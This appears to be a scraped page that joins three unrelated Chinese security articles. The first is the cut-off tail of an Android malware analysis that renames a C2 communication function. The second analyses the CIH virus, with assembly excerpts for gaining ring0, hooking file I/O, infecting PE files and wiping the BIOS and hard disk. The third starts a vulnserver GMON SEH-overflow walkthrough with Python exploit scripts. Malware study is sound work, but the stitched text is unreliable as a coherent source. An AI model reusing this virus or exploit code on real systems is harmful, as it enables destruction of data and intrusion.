var14 = new BufferedReader(var18, 8);
var20 = new StringBuilder();
} catch (Throwable var10) {
var10001 = false;
break label55;
}
while (true) {
try {
var1 = var14.readLine();
} catch (Throwable var8) {
var10001 = false;
break;
}
if (var1 == null) {
try {
inputStream.close();
w = var20.toString();
break;
} catch (Throwable var7) {
Throwable var15 = var7;
try {
throw var15;
} catch (Throwable var6) {
var10001 = false;
break;
}
}
}
try {
var20.append(var1).append("n");
} catch (Throwable var9) {
var10001 = false;
break;
}
}
}
try {
JSONObject var16 = new JSONObject(w);
jsonObject = var16;
} catch (Throwable var5) {
}
return jsonObject;
}
这个函数中有三个参数，第一个是URL，可以在HTTP
POST构造函数中看到（需要一个URL）。然后使用编码后的参数附加URL，以避免在接收端出现错误。提供的方法是可以从if语句中派生的第二个参数，然后比较给定的字符串是GET还是POST。第三个参数是真正意义上的参数，它会被编码并附加到URL。服务器的响应将作为JSONObject返回。修改后的该方法如下：
public static JSONObject callC2(String url, String httpMethod, List parameters) {
boolean var10001;
label66:
{
DefaultHttpClient httpClient;
try {
if (httpMethod == "POST") {
httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(url);
UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
httpPost.setEntity(urlEncodedFormEntity);
inputStream = httpClient.execute(httpPost).getEntity().getContent();
break label66;
}
} catch (Throwable throwable) {
var10001 = false;
break label66;
}
try {
if (httpMethod == "GET") {
httpClient = new DefaultHttpClient();
String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
inputStream = httpClient.execute(httpGet).getEntity().getContent();
}
} catch (Throwable throwable) {
var10001 = false;
}
}
label55:
{
BufferedReader bufferedReader;
StringBuilder stringBuilder;
try {
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
bufferedReader = new BufferedReader(inputStreamReader, 8);
stringBuilder = new StringBuilder();
} catch (Throwable var10) {
var10001 = false;
break label55;
}
while (true) {
try {
httpMethod = bufferedReader.readLine();
} catch (Throwable throwable) {
var10001 = false;
break;
}
if (httpMethod == null) {
try {
inputStream.close();
serverResponseRaw = stringBuilder.toString();
break;
} catch (Throwable throwable) {
Throwable throwable2 = throwable;
try {
throw throwable2;
} catch (Throwable throwable1) {
var10001 = false;
break;
}
}
}
try {
stringBuilder.append(httpMethod).append("n");
} catch (Throwable throwable) {
var10001 = false;
break;
}
}
}
try {
JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
ServerCommunicator.serverResponseJson = serverResonseJson;
} catch (Throwable throwable) {
}
return serverResponseJson;
}
根据callC2函数，我们可以将这个类重命名为ServerCommunicator。
## 小结
至此，我们已经对manifest和源代码中的重要函数和类进行了初步分析。通过初步分析，我们已经大致了解了恶意软件中的部分功能。但是，如我们前文所说，对样本分析的过程就犹如拼一块巨型拼图的过程。在对前面的函数和类进行分析后，如果回过头看某些重要的类，会得出什么不同的结论呢？此外，随着分析的不断深入，我们是否能寻找到恶意软件的核心功能？请在下一篇中寻找答案。 | 社区文章 |
# 二十年重回首——CIH病毒源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 缘起
又是一年双十一，又到一年剁手时。
听说今年固态硬盘比较便宜，我就想着在双十一的时候给自己添一块固态硬盘。
但是我的主板比较老，不知道能不能支持NVME协议的固态硬盘，就在网上搜索了一下.
这一搜索不要紧，搜索后我发现，我的老主板本身并不支持NVME协议的固态硬盘,但想要使用,也不是没有解决方案。
解决方案就是:
1. 下载官方的BIOS固件
2. 修改官方BIOS固件，将支持nvme的模块加入到官方的BIOS固件中。
3. 将修改后的BIOS固件烧录到BIOS。
what?官方的BIOS固件修改后居然还能烧录进去，居然没有自校验吗？
BIOS作为计算机启动的第一道入口，能让用户随意修改，虽然方便了用户，但是也带来了巨大的安全隐患。
我忽然想起很久以前有一款很出名，据说能破坏BIOS的上古病毒-CIH，忽然起了好奇心，想要看看CIH具体是怎么实现的。
于是就有了这篇文章，与大家一起回顾那段历史，分享下我分析CIH源码的过程与心得。
## 源码
CIH的故事已经消逝很久了，它的源码却还能在互联网上找到。
源码可以在github上找到,网址如下：<https://github.com/onx/CIH>
这是1.4版本的CIH源码，据说还有1.5版本的，但是我没有找到。我们的分析就从这份源码开始吧！
先大概扫一眼代码，作者的编码习惯很好，各部分都也有注释，开头部分是版本记录，将版本变化的具体时间和具体功能都记录了下来。
我们先把时间线理一下。
1.0版的完成时间是1998年4月26日, 完成基本功能，此时病毒的大小是656个字节。
1.1版的完成时间是1998年5月15日, 增加操作系统判断，如果是WinNT，则不运行病毒，此时病毒的大小是796个字节。
1.2版的完成时间是1998年5月21日, 增加删除BIOS和破坏硬盘功能，此时病毒的大小是1003个字节。
1.3版的完成时间是1998年5月24日, 修复感染winzip自解压文件的错误，此时病毒的大小是1010个字节。
1.4版的完成时间是1998年5月31日, 彻底修复感染winzip自解压文件的错误，此时病毒的大小是1019个字节。
1998年7月26日，CIH病毒在美国大面积传播；1998年8月26日，CIH病毒实现了全球蔓延，公安部发出紧急通知，新华社和新闻联播跟进报导；
之后，CIH病毒作者陈盈豪公开道歉并积极提供解毒程式和防毒程式，CIH病毒逐渐得到有效控制。
呵呵，不到1KB就能删除你的BIOS，破坏你的硬盘，就问你怕不怕？
那么，现在就让我们看看CIH究竟是如何在二十年前造成如此巨大的影响和破坏的！
## 分析
### PE文件头
源码第一部分是文件头:
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
.....
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
就是PE文件的MZ文件头。
这段文件头的主要目的是为了符合PE(Portable Execute,
可移植执行文件格式)文件格式.我们常见的EXE，DLL，OCX等文件都必须符合微软规定的PE格式，这样Windows操作系统才能识别并执行，这里我们跳过不做分析，感兴趣的读者可以对照PE文件头和源码自行分析。网络上也有很多关于PE格式分析的文章。
另外，请各位读者注意，因为CIH的故事已经过去很久了，CIH所曾经使用的有些技术已经过时，但却能在今天找到借鉴，有些技术则没有过时，可谓生命力顽强，这一点我会在文章中一一指出，希望能供大家参考借鉴。
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
病毒真正开始运行是从VirusGame段开始的。
VirusGame这个段名称很有意思！作者完成这个病毒时是23岁（如今已是43岁！），还是少年人的心性，开发一个病毒，对作者而言就好像完成一个游戏一般。
可是时移事变，今天已经不是20年前！2018年,中华人民共和国网络安全法已经出台，开发病毒可能会造成严重的后果，不是一个道歉就能了事的，各位读者在这点上一定要树立一个正确的意识！一定要好好学习相关的法律，不要以身试法。
### 修改SEH
闲话少叙，接下来我们的分析从MyVirusStart开始。
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
程序的第一段是修改Windows的SEH(Structured Exception Handing)。首先，什么是SEH?为什么要修改SEH呢？
SEH，Structured Exception Handing,
结构化异常处理，是Windows操作系统的异常和分发处理机制.该机制的实现方式是将FS[0]指向一个链表，该链表告诉操作系统当出现异常的时候应该找谁处理。
类似于我们现实生活中的紧急联系人列表，如果应用程序出了什么问题，就交给链表中的一号紧急联系人处理，如果一号紧急联系人无法处理，就交给二号联系人。依次类推。当所有的异常处理函数都调用完成，而异常仍然没有处理掉，这时，操作系统就会调用默认的异常处理程序，通常是给出错误提示并关闭应用程序。
而修改SEH的原因我们会在稍后介绍。
以上代码通过修改FS[0]使得当前的SEH指向StopToRunVirusCode
SEH是Windows提供的异常处理机制，直至今天仍然在各个安全领域应用。
### 进入内核
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
int HookExceptionNumber
接下来这段代码通过修改中断描述符表，获得CPU的ring0权限。
而在WinNT操作系统中，IDT所指向的内存已经无法修改，因此在执行这段代码时，会产生异常。也就是说，这种获取Ring0权限的方法，现在已经没有效果了。
因此，上段代码修改SEH,或者称为编辑SEH的目的就很明了了。
目的就在与识别当前的操作系统，如果发现是WinNT或以后的操作系统，就会自动产生异常并跳到StopToRunVirusCode，停止运行。
所以各位读者大可放心，CIH虽然威力巨大，可是在今天的操作系统上，已经无法感染了！当然，除非有变种。
当在win9x操作系统时，这段代码通过修改中断描述符表，使异常处理函数指向MyExceptionHook.最后一句
int HookExceptionNumber
则直接触发异常，进入MyExceptionHook。下面我们进入MyExceptionHook进行分析。
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
这里有一个小技巧。病毒使用dr0寄存器存放病毒的安装状态，dr0寄存器主要用于调试，在应用程序正常运行过程中一般不会修改。因此，将其作为一个全局的临时寄存器。
第一次进入MyExceptionHook时，因为jz的条件并不成立，并不会跳到InstallMyFileSystemApiHook,
而是跳到AllocateSystemMemoryPage进行内存的分配。
此后我们还会第二次回到MyExceptionHook，这时才会调用InstallMyFileSystemApiHook,安装系统钩子.
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
在调用AllocateSystemMemoryPage分配了系统内存后，接下来这段代码会将病毒代码复制到此前分配的系统内存中。
### 挂钩系统调用
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Again
接下来第二次调用int指令进入MyExceptionHook.接着会跳到InstallMyFileSystemApiHook.
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags
mov dr0, eax ; Save OldFileSystemApiHook Address
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax
cli
jmp ExitRing0Init
顾名思义，以上代码就是把病毒的文件处理函数hook到系统调用中。采用的是一种已经被Windows废弃了的技术，叫做VXD，这种技术只能在win9x系统上才能使用，到了WinNT已经不能使用了。
但实际上原理是一样的，主要的目的是挂钩文件操作函数的系统调用，方法也大同小异，先获取旧的系统调用地址，使用我们的调用函数替换旧的函数，执行完我们的功能后回到旧的地址。
花开两枝，我们各表一支。到这里我们先记住，病毒安装了一个系统调用钩子，当执行文件操作的时候，会运行到我们的钩子函数里面。
这里我们看到，安装完钩子以后，会跳到ExitRing0Init，退出ring0状态。
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;
iretd
退出Ring0之后接着向下走。
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti
xor ebx, ebx
jmp RestoreSE
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
这时，打开中断并恢复之前被病毒修改的SEH，毕竟我们的中断已经关得够久了。
最后，如果是通过其他被感染的程序进来的，就回到之前程序的入口点继续执行，否则，直接ret退出。
接下来，我们分析之前挂钩的函数FileSystemApiHook;
当有文件读写调用时，Windows会调用被病毒替换的FileSystemApiHook.
因为是VXD的驱动程序，程序借鉴意义不大，到这里，我们加快速度，分析的粒度会粗一些。
首先根据系统调用的入参判断是否是打开文件调用。如果是打开文件调用则获取需要打开的文件的路径。
接着，作者用大概100行左右的汇编代码判断一个文件是否是PE文件，如果是PE文件就将病毒代码感染到文件中。
感染的方式将病毒代码写入PE文件，修改PE文件的签名，并修改入口点为病毒代码。
; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************
WriteVirusCodeToFile:
......
jmp WriteVirusCodeToFile
### 潜伏与发作
同时，当系统调用参数为cloasefile时，进行当前时间判断：
CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************
popf
pop esi
jnc IsKillComputer
IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ; ??/26/????
在IsKillComputer可以看到CIH设计了一个潜伏策略，先感染，然后并不发作，以增加感染的机会，直到当前日期是26日时大家统一发作。
当时间悄然的来到26号时，CIH开始破坏BIOS和硬盘。
破坏BIOS的方法为：
1.将BIOS的内容映射到内存，然后设置BIOS可写。主要调用了IOForEEPROM和EnableEEPROMToWrite.
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret
从上面的代码可以看到，CIH使用in，和out指令进行BIOS数据的修改。
而破坏硬盘的方法是利用了我们之前提到的VXD调用IOS_SendCommand。
KillHardDisk:
......
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand
......
jmp LoopOfKillHardDisk
# 总结
最后，我们来梳理一下：
1.病毒得到执行后会修改IDT，进入内核。这应该算是Win9X系统的一个漏洞，在WinNT及以后的系统这种进入内核的方法已经失效。
3.进入内核的主要目的安装系统钩子，钩住文件读写调用，钩住系统调用后退出Ring0;
4.当有文件读写调用且文件是PE文件时，将病毒感染到PE文件中。
5.潜伏下来，直到每月的26日统一发作,开始破坏BIOS和硬盘数据。 | 社区文章 |
我们使用下面的模板来利用GMON命令。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
buffer = "A"*5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
执行完这段代码就导致了应用程序崩溃。正如我们所观察到的，EIP并没有被A所覆盖。那么，是什么导致了崩溃呢？
通过观察SEH链，发现SEH记录被A覆盖了。因此，这才是导致应用程序崩溃的主要原因。
为了确定覆盖SEH链的偏移量，我!"mona pc 5000 "生成一个5000字节的唯一字符串，然后修改代码。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
使用 !mona findmsp，发现nSEH记录被覆盖，偏移量为3495字节。
然后我将该漏洞的利用程序修改为以下内容。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
nseh = "BBBB"
seh = "CCCC"
buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()
我们可以看到，这个偏移量是正确的。nSEH被4个B所覆盖，而4个C则覆盖了SEH。
从这张图片中可以看出，D的缓冲区位于B和C的后面。
